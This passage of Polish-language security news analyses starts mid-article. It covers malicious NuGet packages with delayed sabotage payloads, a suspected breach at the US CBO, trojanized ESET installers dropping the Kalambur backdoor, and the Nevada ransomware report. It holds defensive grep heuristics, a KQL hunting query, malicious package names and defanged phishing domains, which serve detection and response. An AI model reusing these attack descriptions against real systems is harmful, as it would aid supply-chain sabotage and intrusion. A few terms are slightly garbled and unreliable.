  • ICS/OT: ciche nieskuteczne zapisy do PLC → niezałączone zabezpieczenia, złe nastawy, ryzyko jakości/bezpieczeństwa pracy linii. Media branżowe niezależnie potwierdzają cele DB+ICS oraz daty 2027/2028.

Rekomendacje operacyjne / co zrobić teraz

0) Zakres incydentu i kryteria ryzyka

Traktuj każdy projekt .NET z zależnościami publikowanymi/aktualizowanymi 2023–2024 jako potencjalnie ekspozycyjny, ze szczególną ostrożnością dla aplikacji przemysłowych/SCADA/MES/Historian.

1) Szybki triage — znajdź i odetnij pakiety

Enumeracja pakietów w repo i hostach:

# w repo: wszystkie odwołania do nuget.org
grep -R "PackageReference Include" -n .

# lista zainstalowanych pakietów w projekcie/solucji
dotnet list package --include-transitive

# sprawdzenie globalnego cache NuGet na hostach buildowych
# Windows (PowerShell)
Get-ChildItem "$env:USERPROFILE\.nuget\packages" -Depth 2 | Select-Object FullName
# Linux
find ~/.nuget/packages -maxdepth 2 -type d -print

Skan wzorców „extension method injection”:

# proste heurystyki (repo)
grep -R "static class .*Command.*Extend" -n .
grep -R "this SqlCommand" -n .
grep -R "Process.GetCurrentProcess().Kill" -n .
grep -R "DateTimeHelper.UnixTimestampToDateTime" -n .
grep -R "ConfigurationManager.AppSettings\\[\"st\"\\]" -n .

Blokada źródła:

  • Pinning do allowlist (scoped registries), wewnętrzne mirror’y, pakiety podpisane.
  • W CI zablokuj rozwiązywanie spoza mirror’a: NUGET_PACKAGES, restoreSources.

Przykładowe nuget.config (pinning):

<configuration>
  <packageSources>
    <clear />
    <add key="corp-mirror" value="https://nuget.corp.local/v3/index.json" />
  </packageSources>
  <trustedSigners>
    <author name="CorpReleaseKey">
      <certificate fingerprint="‎AB CD EF ..." hashAlgorithm="SHA256" allowUntrustedRoot="false" />
    </author>
  </trustedSigners>
</configuration>

2) Detekcja runtime / telemetry hunting

.NET (ETW/PerfView/Defender for Endpoint kusto):

DeviceProcessEvents
| where InitiatingProcessFileName endswith ".exe"
| where FileName has_any ("w3wp.exe","dotnet.exe","MyApp.exe")
| where ProcessCommandLine has "Process.GetCurrentProcess().Kill"
    or ProcessCommandLine has "System.Diagnostics.Process.Kill"

Anomalia „losowych restartów” po zapytaniach DB:

  • Koreluj SqlClient error’y / brak logs z Kill().
  • W aplikacjach ICS: wzrost „write succeeded=false / result=0” bez błędów.

AppLocker/WDAC: blokuj niezaufane DLL z cache NuGet per hash/ścieżka.
EDR: utwórz reguły anomalii na Process.Kill() wywoływane przez procesy serwerowe .NET.

3) Usuwanie i weryfikacja integralności

  • Usuń zainfekowane pakiety z repo i lockfile’y; wymuś dotnet nuget locals all --clear na build-agentach i serwerach.
  • Rebuild + redeploy z czystego cache.
  • Testy regresji z naciskiem na „długie” scenariusze (≥2h) i wysoki QPS.
  • ICS: włącz odczyt zwrotny po zapisie do PLC i alarmuj niekonsekwencje.

4) Hardening łańcucha dostaw

  • SBOM (np. dotnet list package --include-transitive > sbom.txt; CycloneDX dla .NET).
  • Pinned versions + obowiązkowa reputacja (autor/maintainer, GitHub stars/issues, historia CVE).
  • Policy: zakaz użycia pakietów o małej historii/bez maintainerów; przegląd kodu dla „nowych autorów”.
  • Skany SCA z regułami niestandardowymi (heurystyki extension methods, Process.Kill()).

5) IOC / nazwy pakietów do bloku

Na bazie publikacji: MyDbRepository, MCDbRepository, Sharp7Extend, SqlDbRepository, SqlRepository, SqlUnicornCoreTest, SqlUnicornCore, SqlUnicorn.Core, SqlLiteRepository. (Zestaw raportowany w źródłach branżowych.)


Różnice / porównania z innymi przypadkami

  • npm/PyPI — zwykle szybkie kradzieże sekretów/telemetrii; tu mamy opóźniony, destrukcyjny ładunek i probabilistykę, by utrudnić RCA.
  • NuGet-specyficzne — cięższe biblioteki .NET, częsty brak sandboxingu, głęboka integracja z ORM/ADO.NET oraz środowiskami przemysłowymi .NET/Win.
  • ICS — celowane typosquatting w ekosystem Sharp7; potwierdzenie, że legalny Sharp7 jest osobnym, poprawnym projektem open-source.

Podsumowanie / kluczowe wnioski

  • Atak łączy realną funkcjonalność z niewielką „bombą” czasową, co daje długie, ciche „zasianie” u ofiar.
  • Extension methods to idealny nośnik sabotażu w .NET — przechodzą przez testy i code review.
  • Organizacje powinny priorytetowo: inwentaryzować, odciąć, odbudować z czystych źródeł, a następnie wprowadzić mirror + podpisy + SBOM + custom SCA rules.
  • Środowiska ICS/OT szczególnie narażone: weryfikacja zapisu przez odczyt i testy długotrwałe to must-have.
    Niezależne źródła potwierdzają daty-wyzwalacze i target DB/ICS, co pozwala na precyzyjny threat model i priorytetyzację.

Źródła / bibliografia

  • Socket — „9 Malicious NuGet Packages Deliver Time-Delayed Destructive Payloads” (analiza techniczna, fragmenty kodu, daty-wyzwalacze). (Socket)
  • The Hacker News — „Hidden Logic Bombs in Malware-Laced NuGet Packages…” (lista pakietów, kontekst). (The Hacker News)
  • BleepingComputer — „Malicious NuGet packages drop disruptive ‘time bombs’” (potwierdzenie scenariuszy i celów). (BleepingComputer)
  • The Register — „Crims plant time bomb malware in industrial .NET extensions” (status usuwania pakietów). (The Register)
  • Projekt Sharp7 (legalna biblioteka S7; odróżnienie od typosquata „Sharp7Extend”). (GitHub)

CBO ofiarą podejrzanego ataku cybernetycznego. Co wiemy i co to oznacza dla bezpieczeństwa danych w Kongresie USA?

Wprowadzenie do problemu / definicja luki

Kongresowe Biuro Budżetowe USA (Congressional Budget Office, CBO) potwierdziło incydent cybernetyczny obejmujący jego sieć. Wstępne komunikaty instytucji mówią o opanowaniu zdarzenia i wdrożeniu dodatkowego monitoringu, natomiast źródła medialne wskazują na podejrzenie udziału „obcego aktora”. Biuro nie przypisało publicznie sprawstwa żadnej grupie ani państwu. Incydent mógł dotyczyć korespondencji e-mail oraz innych kanałów komunikacji między CBO a biurami senatorów i kongresmenów.


W skrócie

  • Co się stało: CBO odnotowało naruszenie bezpieczeństwa swoich systemów; trwają działania ograniczające i dochodzenie.
  • Skala i dane: Możliwa ekspozycja komunikacji z biurami Kongresu (e-maile, potencjalnie czaty wewnętrzne). Brak potwierdzonych szczegółów o exfiltracji.
  • Sprawstwo: Media (m.in. Washington Post) mówią o podejrzeniu obcego aktora; CBO oficjalnie nie potwierdza.
  • Ryzyko wtórne: Ostrzeżenia przed falą spear-phishingu podszywającego się pod korespondencję CBO.

Kontekst / historia / powiązania

CBO jest bezpartyjną instytucją analityczną, która dostarcza szacunki kosztów ustaw i projekcje makroekonomiczne – jej komunikacja bywa politycznie i rynkowo wrażliwa. Ewentualny dostęp atakujących do wątków roboczych mógłby ujawniać kalendarz prac legislacyjnych, wstępne warianty kosztów lub punkty sporne między biurami. W ostatnich miesiącach administracja federalna mierzyła się już z istotnymi kampaniami przeciw agencjom i wykonawcom – co zwiększa presję na higienę łańcucha komunikacji (federalnego i kontraktorskiego).


Analiza techniczna / szczegóły luki

Uwaga: szczegóły TTPs nie zostały oficjalnie ujawnione. Poniższa analiza opisuje prawdopodobne wektory na podstawie znanych wzorców ataków na administrację USA.

Możliwe wektory wejścia:

  1. Kompromitacja tożsamości i poczty (O365/M365, SSO/SAML): przejęcie konta analityka lub skrzynki serwisowej, dalszy ruch boczny do repozytoriów dokumentów (SharePoint/Teams).
  2. Malware w łańcuchu komunikacji: złośliwe załączniki/URL w korespondencji międzybiurowej, wykorzystanie zaufania do domen *.gov / *.mil / domen dostawców.
  3. Dostawca zewnętrzny (third-party): dostęp uprzywilejowany aplikacji wsparcia/monitoringu i exfiltracja przez kanały serwisowe (częsty motyw w incydentach federalnych).
  4. Exfiltracja „low-and-slow”: tunelowanie przez legitne usługi chmurowe, rozproszone zapytania API w godzinach pracy (utrudnia korelację).

Na co wskazują komunikaty:

  • Wzmianki o możliwym podszywaniu się pod komunikację CBO sugerują, że co najmniej metadane/książki adresowe/wątki mogły zostać dotknięte. To zwiększa skuteczność późniejszych kampanii BEC/spear-phishing wobec biur na Kapitolu.

Praktyczne konsekwencje / ryzyko

  • Ryzyko dla procesu legislacyjnego: wyciek roboczych „scores” i scenariuszy mógłby wpływać na rynki i taktykę negocjacyjną klubów.
  • Ryzyko operacji wpływu: pretekstowe e-maile/SMS/voice spoofing „od CBO” zwiększają prawdopodobieństwo wstrzyknięcia malware do innych segmentów sieci Kongresu.
  • Ryzyko prawne/zgodności: wymogi raportowania i koordynacji z CISA/FBI oraz przeglądy kontraktów z dostawcami (SOC 2/FedRAMP), nawet jeśli CBO nie potwierdziło exfiltracji. (Wniosek na podstawie standardowych procedur reagowania w sektorze federalnym).

Rekomendacje operacyjne / co zrobić teraz

Dla instytucji rządowych i organizacji współpracujących z CBO:

  1. Filtry i zasady mailowe „high-risk”: tymczasowo podnieś progi dla DMARC/DKIM/SPF; kwarantanna korespondencji podszywającej się pod domeny CBO; włącz pre-delivery sandboxing. (Best practices CISA).
  2. Zerowe zaufanie do linków/załączników „od CBO”: wymuś otwieranie w izolowanym przeglądarce (RBVM), skan YARA w bramce.
  3. MFA phishing-resistant + klucze FIDO2: obowiązkowo dla wszystkich skrzynek mających historię korespondencji z CBO.
  4. Hunting według TTPs:
    • anomalie OAuth/Graph API, nietypowe reguły skrzynek (inbox rules), token replay;
    • podejrzane konektory M365 i zaproszenia do Teams/SharePoint;
    • komunikacja do chmurowych usług hostingowych nieskorelowana z normalnym ruchem.
  5. Playbook reakcji na BEC: proces „two-person verification” przy wnioskach o pilne dane/plik/spotkanie „od CBO”; kanał alternatywny (telefon wewnętrzny) do potwierdzeń.
  6. Segmentacja i DLP: ogranicz dostęp do dokumentów z oznaczeniami poufności, włącz weryfikację treści i watermarki na eksportach PDF.
  7. Ćwiczenia purple team: symuluj spear-phishing podszywający się pod CBO i oceń skuteczność EDR/XDR, MDO, CASB.

Dla odbiorców spoza sektora publicznego (media, think-tanki, dostawcy): zastosuj te same środki prewencji phishingu i weryfikacji nadawcy – okresowo rośnie ryzyko kampanii „collateral”.


Różnice / porównania z innymi przypadkami

  • Podobieństwo do incydentów w agencjach federalnych z ostatniego roku: kompromitacja kanałów komunikacji i możliwe użycie zaufanych usług chmurowych do exfiltracji. (Porównanie oparte na wzorcach raportowanych publicznie dla sektora federalnego).
  • Różnica względem ataków destrukcyjnych: obecnie brak sygnałów o wiperach czy sabotażu operacyjnym — celem wydaje się dostęp informacyjny i wywiadowczy, nie paraliż usług.

Podsumowanie / kluczowe wnioski

  • CBO potwierdziło incydent i działania zaradcze, lecz bez publicznej atrybucji; media wskazują na podejrzenie obcego aktora.
  • Najbardziej prawdopodobnym skutkiem krótkoterminowym jest fala ukierunkowanego phishingu wykorzystująca wiedzę o relacjach CBO–biura kongresowe.
  • Organizacje komunikujące się z CBO powinny wdrożyć natychmiastowe kontrole anty-phishingowe, wzmocnić MFA i prowadzić proaktywne polowanie na oznaki przejęcia tożsamości i reguł skrzynki.

Źródła / bibliografia

  • Reuters: potwierdzenie incydentu, ostrzeżenia dot. możliwego podszywania się. (Reuters)
  • Associated Press: stanowisko rzeczniczki CBO, działania zaradcze, brak oficjalnej atrybucji. (AP News)
  • The Washington Post: doniesienia o podejrzeniu obcego aktora i możliwe kategorie danych. (The Washington Post)
  • BleepingComputer: przegląd zdarzenia i osadzenie w szerszym trendzie ataków na instytucje federalne. (BleepingComputer)
  • Axios: znaczenie CBO dla procesu legislacyjnego i potencjalny wpływ na komunikację. (Axios)

Trojanizowane instalatory ESET dostarczają backdoora Kalambur. Kampania phishingowa na Ukrainie (InedibleOchotense)

Wprowadzenie do problemu / definicja luki

Nowo zidentyfikowany klaster aktywności „InedibleOchotense”, oceniany jako powiązany z Rosją, podszywa się pod firmę ESET i rozsyła do ukraińskich podmiotów spreparowane instalatory produktów ESET. Fałszywe pakiety instalacyjne dołączają prawdziwy komponent ESET AV Remover, ale potajemnie doinstalowują backdoora Kalambur (aka SUMBUR), który wykorzystuje sieć Tor do C2 i może włączać zdalny dostęp (m.in. RDP/3389) oraz doinstalowywać OpenSSH. Dystrybucja odbywa się przez spear-phishing i wiadomości w Signal, z linkami do domen stylizowanych na ESET, m.in. esetsmart[.]com, esetscanner[.]com, esetremover[.]com.

W skrócie

  • Atakujący podszywają się pod ESET i skłaniają ofiary do pobrania trojanizowanego instalatora.
  • Łańcuch infekcji dostarcza Kalambur/SUMBUR (C#) z Tor-owym C2, a obok instaluje legalny AV Remover – to zabieg uwiarygadniający.
  • Kampania obserwowana od maja 2025 r. uderza w podmioty na Ukrainie.
  • TTP wykazują nakładanie się z wcześniejszymi aktywnościami Sandworm/APT44 (m.in. wątki UAC-0212/UAC-0125).

Kontekst / historia / powiązania

ESET opisuje tę falę w swoim najnowszym APT Activity Report (zakres kwiecień–wrzesień 2025), zwracając uwagę na utrzymujący się priorytet rosyjskich grup wobec Ukrainy i UE. Równolegle wcześniejsze analizy EclecticIQ i alerty środowiska CERT-ów wskazywały na podobne sztuczki z trojanizowanymi narzędziami oraz sub-klastry UAC-0212 / UAC-0125 przypisywane do Sandworm/APT44.

Analiza techniczna / szczegóły luki

Wektor wejścia: ukierunkowane e-maile (po ukraińsku, z wyłapanymi „rusycyzmami”) oraz wiadomości w Signal zawierają link do pobrania „instalatora ESET”. Hostowanie na domenach łudząco podobnych do marki zwiększa konwersję.
Pakiet instalacyjny: uruchamia autentyczny ESET AV Remover (element „zasłony dymnej”), a równolegle dropuje i uruchamia Kalambur/SUMBUR.
Backdoor: napisany w C#, utrzymuje łączność przez Tor (C2), potrafi dograć OpenSSH i otworzyć RDP (3389), rozszerzając trwałość i zdalne sterowanie hostem.
Atrybucja: ESET wskazuje na nakładanie się TTP z opisywaną przez EclecticIQ kampanią BACKORDER i aktywnościami klasyfikowanymi przez CERT-UA jako UAC-0212; osobne raporty łączą z tym spektrum także UAC-0125. ESET podkreśla jednak, że pełne zrównanie klastrów nie jest w 100% potwierdzone.

Praktyczne konsekwencje / ryzyko

  • Zaufanie do marki: wykorzystanie brandu ESET oraz dołączenie prawdziwego komponentu utrudnia detekcję „na oko” i obniża czujność użytkowników i helpdesku.
  • Szybka eskalacja: natychmiastowa dostępność RDP/OpenSSH po instalacji daje operatorom wygodny kanał Lateral Movement.
  • Trwałość i ukrycie: Tor utrudnia blokowanie i korelację zdarzeń w SIEM/SOAR bez profilowanych detekcji.
  • Ryzyko dla łańcucha dostaw: zgodnie z trendami z raportów APT, celami są instytucje rządowe, energia, logistyka, edukacja; kompromitacje dostawców mogą kaskadowo dotykać klientów.

Rekomendacje operacyjne / co zrobić teraz

  1. Blokady domen i IoC: natychmiastowo zablokować esetsmart[.]com, esetscanner[.]com, esetremover[.]com i powiązane hosty; uaktualnić filtry w proxy/DNS.
  2. Kontrola źródeł oprogramowania: egzekwować politykę pobierania instalatorów wyłącznie z oficjalnych domen producenta i poprzez zaufane repozytoria/PKI; wprowadzić hash-pinning dla instalatorów.
  3. Detekcje behawioralne:
    • Wykrywanie nietypowego uruchomienia AV Remover ze ścieżek tymczasowych/użytkownika.
    • Reguły na tworzenie/usługi OpenSSH w Windows, na zmiany RDP/3389, oraz procesy ładujące biblioteki Tor.
    • Telemetria C2 przez Tor (nowe procesy tor.exe, nietypowe porty, długie sesje TCP do węzłów wejściowych).
      Wzorce TTP można wzbogacić gotowymi regułami SIGMA przygotowanymi pod UAC-0212/UAC-0125.
  4. Twardnienie stacji roboczych: wyłączanie RDP tam, gdzie zbędny; MFA do zdalnych usług; AppLocker/WDAC dla instalatorów spoza „allowlist”.
  5. Edukacja użytkowników: komunikat „ESET nie wysyła instalatorów w wiadomościach” + procedura zgłaszania podejrzanych linków (phishing w jęz. ukraińskim z błędami językowymi).
  6. Hunting/IR szybkie sprawdzenia:
    • Ostatnie polecenia RDP, nowe lokalne konta, wpisy Firewall otwierające 3389.
    • Ślady OpenSSH na hostach Windows.
    • Artefakty instalatora w %TEMP%, nietypowe ścieżki wykonywalne podpisane „ESET” bez ważnej sygnatury.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • W lutym 2025 r. opisywano kampanie Sandworm oparte na trojanizowanych narzędziach KMS i fałszywych installerach – obecny przypadek jest bardziej wyrafinowany socjotechnicznie poprzez użycie marki ESET oraz włączenie legalnego komponentu w pakiecie.
  • Nakładanie TTP z UAC-0212 / UAC-0125 łączy obecną kampanię z ekosystemem APT44, ale pełna tożsamość pozostaje przedmiotem analizy (ostrożność w atrybucji!).

Podsumowanie / kluczowe wnioski

  • Atakujący instrumentalizują zaufanie do producenta AV i łączą legalny komponent z malware w jednym installerze.
  • Kalambur/SUMBUR zapewnia ciche, trwałe RCE i kanały zdalnego dostępu (Tor + RDP/OpenSSH).
  • Higiena źródeł oprogramowania, detekcje behawioralne i blokady IoC to najszybsze środki ograniczające ryzyko.
  • Trendy z raportów APT ESET wskazują, że Ukraina i UE pozostają priorytetowymi celami rosyjskich grup – należy utrzymywać podwyższoną gotowość.

Źródła / bibliografia

  1. The Hacker News — Trojanized ESET Installers Drop Kalambur Backdoor in Phishing Attacks on Ukraine (06.11.2025). (The Hacker News)
  2. Help Net Security — Russia-linked hackers intensify attacks as global APT activity shifts (omówienie ESET APT Activity Report, 06.11.2025). (Help Net Security)
  3. EclecticIQ — Sandworm APT Targets Ukrainian Users with Trojanized Microsoft KMS Activation Tools… (11.02.2025). (blog.eclecticiq.com)
  4. SOC Prime — Detecting UAC-0212 attacks linked to Sandworm APT subcluster (24.02.2025). (SOC Prime)
  5. INCIBE-CERT — UAC-0212 attack campaign against critical infrastructures in Ukraine (25.03.2025, z referencjami do CERT-UA #13702). (INCIBE)

Atak ransomware na Nevadę zaczął się miesiące wcześniej. Co ujawnia raport „after-action”?

Wprowadzenie do problemu / definicja luki

Stan Nevada opublikował szczegółowy raport „after-action”, z którego wynika, że wykryty 24 sierpnia 2025 r. atak ransomware rozpoczął się już 14 maja 2025 r., gdy pracownik pobrał trojanizowane narzędzie administracyjne z fałszywej strony podsuniętej przez reklamę wyszukiwarki. W efekcie napastnik zyskał trwałe „tylne drzwi”, a następnie miesiącami budował pozycję w sieci stanowej. Władze potwierdziły brak zapłaty okupu i koszty reakcji co najmniej 1,5 mln USD.

W skrócie

  • Start infiltracji: 14 maja 2025 r. – instalacja narzędzia złośliwie podszytego pod popularne oprogramowanie IT (ad/SEO-poisoning).
  • Wykrycie: 24 sierpnia 2025 r. – stan odnotowuje awarię i rozpoczyna działania kryzysowe; wyłączono serwisy i telefony, część urzędów zamknięto.
  • Skala wpływu: >60 agencji, utrudnione wydawanie praw jazdy i weryfikacje pracownicze; 28 dni do odtworzenia usług.
  • Koszty i decyzje: ≥1,5 mln USD (w tym ~1,3 mln dla kontraktorów z polisy cyber), brak okupu; ponad 4 212 godzin nadgodzin (raport stanowy).
  • Dane: przygotowano archiwum ZIP z wrażliwymi informacjami; brak potwierdzenia skutecznej eksfiltracji/publicacji.

Kontekst / historia / powiązania

Raport wpisuje się w trend uderzeń w administrację stanową i miejską w USA – od Fulton County (LockBit, 2024) po Baltimore (2019). W porównaniu z kosztami incydentu w MGM Resorts (2023), szacowanymi na >100 mln USD, uderzenie w Nevadę było tańsze, ale i tak znacząco zakłóciło usługi publiczne.

Analiza techniczna / szczegóły luki

Wektor wejścia: pracownik, szukając narzędzia administracyjnego, trafił na spreparowaną reklamę prowadzącą do fałszywej strony (malvertising/SEO-poisoning) i pobrał trojanizowany instalator. Ten zainstalował ukryty backdoor, który – nawet po usunięciu samego narzędzia – utrzymał zdalny dostęp napastników.

Ruch boczny i eskalacja: w sierpniu atakujący zestawili szyfrowane tunele, używali RDP do poruszania się po środowisku i dotarli do serwera skarbca haseł (pozyskano dane dostępowe m.in. do 26 kont). W pewnym momencie skasowano wolumeny kopii zapasowych i zmodyfikowano ustawienia wirtualizacji, by umożliwić uruchamianie niesygnowanych obrazów – przygotowując grunt pod szyfrowanie VM-ów.

Szyfrowanie i ślady: 24 sierpnia o 08:30:18 UTC rozpętano szyfrowanie na hostach wirtualizacji; logi były czyszczone, by utrudnić dochodzenie. Utworzono też archiwum ZIP z danymi, lecz śledczy nie potwierdzili faktycznej eksfiltracji.

Praktyczne konsekwencje / ryzyko

  • Zakłócenia usług krytycznych: brak dostępu do usług online, telefonów, opóźnienia w wydawaniu dokumentów i weryfikacjach pracowniczych.
  • Ryzyko tożsamościowe: chociaż brak dowodu wycieku na zewnątrz, dostęp do skarbca haseł i przygotowanie paczek z danymi zwiększa prawdopodobieństwo wtórnych nadużyć (próby logowań, spear-phishing, BEC).
  • Ryzyko systemowe: zdecentralizowana architektura IT ułatwiła rozprzestrzenianie się ataku i utrudniła koordynację reakcji.

Rekomendacje operacyjne / co zrobić teraz

  1. SOC 24/7 i unifikacja telemetrii – centralny, stanowy SOC z pełnym wglądem w logi; szybka korelacja zdarzeń. To jedno z zaleceń w raporcie.
  2. EDR/XDR na wszystkich endpointach i serwerach – wykrywanie backdoorów, tuneli szyfrowanych i nietypowego RDP/LAPSUS.
  3. Higiena kopii zapasowych – offline/immutable (WORM), segmentacja stref backupu, regularne testy odtworzeniowe; monitoring operacji na backupach.
  4. Ochrona przed malvertising/SEO-poisoning – blokowanie reklam w wyszukiwarce dla kont uprzywilejowanych, allow-listing źródeł oprogramowania, edukacja adminów.
  5. Twarde PAM i skarbce haseł – izolacja, MFA, alertowanie na dump/eksport sekretów; „czterooki” dostęp do kont wysoko-uprzywilejowanych.
  6. Segmentacja i zasada najmniejszych uprawnień – mikrosegmentacja ruchu serwerowego, blokady RDP między strefami, JIT/JEA dla administracji.
  7. Playbooki IR i ćwiczenia – ćwiczone scenariusze „szyfrowanie VM-ów”, komunikacja kryzysowa i procedury pracy offline.

Różnice / porównania z innymi przypadkami

  • Czas wykrycia: ok. 3 miesiące (Nevada) vs. często 7–8 miesięcy w statystykach branżowych – tu na plus, choć i tak za długo.
  • Koszt całkowity: ~1,5 mln USD (Nevada, administracja) vs. >100 mln USD w ataku na prywatny podmiot (MGM, 2023).
  • Decyzja o okupu: Nevada nie zapłaciła; część samorządów w USA bywała do tego zmuszana, co potwierdzają głośne przypadki na przestrzeni ostatnich lat.

Podsumowanie / kluczowe wnioski

Atak na Nevadę to podręcznikowy przykład, jak pojedynczy błąd użytkownika uprzywilejowanego – połączony z malvertisingiem i brakiem centralnej telemetrii – umożliwia cichy, wielomiesięczny rozwój intruza aż do szyfrowania VM-ów i ataku na kopie zapasowe. Dla administracji publicznej wnioski są jasne: scentralizowany SOC, EDR/XDR, odporne kopie i twardy PAM to inwestycje, które zwracają się w dniu incydentu.

Źródła / bibliografia

  • SecurityWeek / Associated Press: „Nevada Ransomware Attack Started Months Before It Was Discovered, Per Report” (06.11.2025). (SecurityWeek)
  • AP News: „Nevada cyberattack cost at least $1.5 million” (05–06.11.2025). (AP News)
  • BleepingComputer: „How a ransomware gang encrypted Nevada government’s systems” (06.11.2025). (BleepingComputer)
  • The Nevada Independent: „Report: Nevada didn’t pay ransom …” (05.11.2025). (The Nevada Independent)
  • GovTech: „Report IDs Source of Nevada Cyber Attack, Looks Ahead” (05.11.2025). (GovTech)